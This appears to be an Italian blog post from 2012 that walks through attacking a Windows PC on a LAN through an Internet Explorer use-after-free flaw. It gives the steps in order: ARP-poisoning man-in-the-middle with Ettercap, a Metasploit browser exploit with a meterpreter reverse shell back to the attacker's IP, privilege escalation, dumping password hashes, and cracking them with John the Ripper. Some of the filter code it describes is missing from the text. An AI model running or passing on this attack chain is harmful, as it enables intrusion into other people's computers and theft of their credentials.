10/20/2012

All'attacco di Windows


Nuova Vulnerabilità in Internet Explorer. Ecco come ottenere username e password privati e prendere possesso dei PC altrui.

La recente pubblicazione di un Exploit che sfrutta una vulnerabilità 0day di IE, cioè non ancora resa pubblica. Tale vulnerabilità è presente nella funzione CMshtmlEd::Exec del file mshtml.dll del browser Microsoft sulle versioni 6, 7, 8, 9 e permette di eseguire comandi remoti all'interno del sistema Windows. Vediamo insieme come i "pirati" sfruttano questa falla.


INTERCETTARE IL TRAFFICO
Supponiamo di essere all'interno di una LAN con due PC, quello della vittima equipaggiato con Windows XP, che naviga su Internet protetto da Firewall e antivirus con indirizzo IP 192.168.85.170, mentre il PC aggressore con sistema GNU/Linux ed indirizzo IP 192.168.85.175. Essendo il PC vittima protetto da firewall l'aggressore non può collegarsi direttamente ad esso, ma deve sfruttare un BUG "client side", ovvero che va ad attaccare un client utilizzato dall'utente e non, invece, un servizio di sistema. Perché questo avvenga è necessario che il software client (nel nostro caso lo stesso browser IE), visualizzi un contenuto malevolo creato ad-hoc dall'aggressore, come ad esempio una pagina Web modificata all'occorrenza. Questo può avvenire in vari modi ed in particolare vedremo come un attacco di tipo ARP poisoning possa permettere di effettuare un MITM (Man In The Middle - "Uomo di mezzo")sulle connessioni di rete TCP. Le connessioni non avvengono direttamente tra il PC vittima e il Gateway che poi inoltre su Internet, ma vengono "intercettate" e modificate dall'aggressore. Per effettuare questa tipologia di attacco i Cracker utilizzano Ettercap, un tool pensato appositamente pet tale scopo. Il programma oltre a permettere al pirata di ricevere tutti i dati destinati al PC della vittima, grazie all'attacco di tipo ARP Poisoning, consente anche di modificare "on the fly" (al volo) il loro contenuto. L'aggressore sarà cosi in grado di modificare le risposte delle pagine Web inserendo al loro interno del codice malevolo. Per farlo occorre creare un nuovo "filtro" che si occupa di inserire il tag





 all'interno delle pagine Web di una risposta.




A questo punto l'aggressore deve "compilare" il filtro per renderlo successivamente utilizzabile da Ettecap:

etterfilter web.filter -o web.out

Inoltre abilita il fowarding dei pacchetti IP a livello kernel:

echo 1 > /proc/sys/net/ipv4/ip_foward

Infine esegue Ettercap fornendogli l'interfaccia di rete e l'indirizzo IP del PC vittima. In questo modo tutti i pacchetti saranno inoltrati verso la macchina:

ettercap -T -i eth0 -q -F web.out -M ARP /192.168.85.170/ //

Adesso tutto è pronto per procedere con l'esecuzione dell'exploit che ne sfrutta la vulnerabilità.


EXPLOIT
Per eseguire l'exploit l'aggressore utilizza Metasploit, mediante il quale, per prima cosa, genera le pagine modificate ad-hoc. Installato il software lo esegue con msfconsole e seleziona l'exploit da usare:

use exploit/windows/browser/ie_execcommand_uaf

Fatto questo imposta la porta ed il patch che risponderanno fornendo le pagine Web malevole.




L'aggressore sceglie di utilizzare un Payload basato su Meterpreter, uno strumento di attacco avanzato presente in Metasploit che, impostato come reverse shell, gli permette di baypassare il firewall e gli fornisce tutti gli strumenti necessari per sferrare l'attacco:

set PAYLOAD windows/meterpreter/reverse_tcp

A questo punto imposta l'indirizzo IP a cui si collegherà la reverse shell:

set LHOST 192.168.85.175

Infine esegue l'exploit con il comando exploit e non rimane (all'aggressore) che aspettare. Quando l'utente vittima visiterà qualche pagina Web, Internet Explorer in realtà si collegherà  alla macchine dell'aggressore ed avverrà l'esecuzione del codice malevolo.
Per l'aggressore è facile verificare tutto ciò in quanto appariranno numerose scritte all'interno di Metasploit. A Questo punto l'aggressore accede al Meterpreter:

sessions -i 1

Fatto questo, grazie alle tecniche di privilege escalation chiede di diventare SYSTEM, ovvero l'account dell'utente di sistema con i privilegi maggiori: getsystem. Nel frattempo si scollega temporaneamente alla sessione Meterpreter di riferimento, set SESSION 1, e lancia l'esecuzione del modulo con run. Il modulo di Metasploit hashdump restituirà all'aggressore una serie di linee cosi formate:

utente:id:LM HASH:NT HASH:::





A questo punto visualizzerà le HASH, ovvero le versioni cifrate delle password, per cui dovrà eseguire il crack.



CRACK DELLE PASSWORD
I sistemi operativi moderni non memorizzano le password di accesso al sistema in chiaro ma le cifrano. Al login il sistema esegue un confronto tra l'hash della password inserita dall'utente e quello memorizzato, che coincidendo permettono l'accesso al sistema. In questo momento l'aggressore non possiede le password di accesso, ma solo i relativi HASH, ovvero le password cifrate. L'unico modo per scoprire le password è quello di eseguire lo stesso algoritmo su una stringa iniziale e confrontarne il risultato. Tale operazione può essere eseguita mediante un dizionario oppure in modo incrementale provando tutte le password possibili. I sistemi Microsoft memorizzano queste informazioni con due algoritmi differenti: LM HASH e NT HASH. Nel primo caso la password viene memorizzata completamente in maiuscolo e l'hash è formato da due sottostringhe che prendono in considerazione la password a blocchi di 7 caratteri per un massimo di 2 blocchi. Nel caso di NT HASH la password invece può essere al massimo di 127 caratteri mantenendo anche le lettere minuscole e maiuscole. Per eseguire il password cracking l'aggressore utilizza il tool John The Ripper, un software (di cui abbiamo parlato molto) appositamente creato per effettuare questa tipologia di attacco. John The Ripper supporta entrambe le tipologie di HASH utilizzate dagli OS Microsoft e tutte e due possono fornire dati utili al suo scopo. Eseguendo JTR su un file contenente gli hash di windows, viene automaticamente utilizzato LM HASH:

john a

Per forzare JTR ad utilizzare NT HASH l'aggressore utilizza l'opzione format nel modo seguente:

john --format=nt a

Nel primo caso è possibile che vengano identificate più facilmente alcune tipologie di password, tuttavia bisogna poi individuare le lettere maiuscole e minuscole. Nel secondo caso invece l'aggressore otterrà le password formattate correttamente




È anche possibile utilizzare le Rainbow tables per recuperare più velocemente le password dagli hash grazie ad un attacco pre-computazionale.

Nessun commento:

Posta un commento